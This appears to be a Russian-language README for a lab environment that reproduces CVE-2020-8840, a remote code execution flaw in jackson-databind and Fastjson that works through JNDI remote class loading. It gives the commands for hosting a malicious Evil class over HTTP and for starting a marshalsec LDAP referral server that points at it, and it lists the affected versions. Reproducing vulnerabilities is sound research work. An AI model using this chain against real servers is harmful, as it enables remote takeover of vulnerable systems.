
Анализ уязвимости удалённого выполнения кода Jackson-databind (CVE-2020-8840) и код среды воспроизведения
Код среды для анализа и воспроизведения уязвимости удалённого выполнения кода в Jackson-databind (CVE-2020-8840).
Проект включает:
jackson-databind и Fastjsonmarshalsec-0.0.3-SNAPSHOT-all.jarУязвимость удалённого выполнения кода в Jackson-databind (CVE-2020-8840): атакующий может использовать цепочку эксплуатации xbean-reflect (org.apache.xbean.propertyeditor.JndiConverter), чтобы инициировать удалённую загрузку классов через JNDI и достичь удалённого выполнения кода.
Эта уязвимость также затрагивает некоторые версии jackson-databind и Fastjson.
Затронутые версии: 2.0.0 <= FasterXML jackson-databind <= 2.9.10.2

LDAP-сервис, на который ссылается пример кода, необходимо развернуть самостоятельно.
WebServer
Запустите HTTP-сервис, разместите вредоносный класс (в проекте есть класс Evil.java)
python -m http.server 2222

LDAP-сервис
Скачайте инструмент Marshalsec, скомпилируйте его в jar, запустите LDAP-сервис, укажите адрес codebase (WebServer, на котором размещён вредоносный класс).
Для удобства, чтобы не заниматься загрузкой и компиляцией, в проект также включён marshalsec-0.0.3-SNAPSHOT-all.jar (это основная причина большого размера, так как кода в проекте немного), скомпилировано с JDK8.
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2222/#Evil

Затронутые версии: Fastjson <= 1.2.62
Среда воспроизведения аналогична описанной выше: самостоятельно разверните и запустите WebServer и LDAP-сервис.
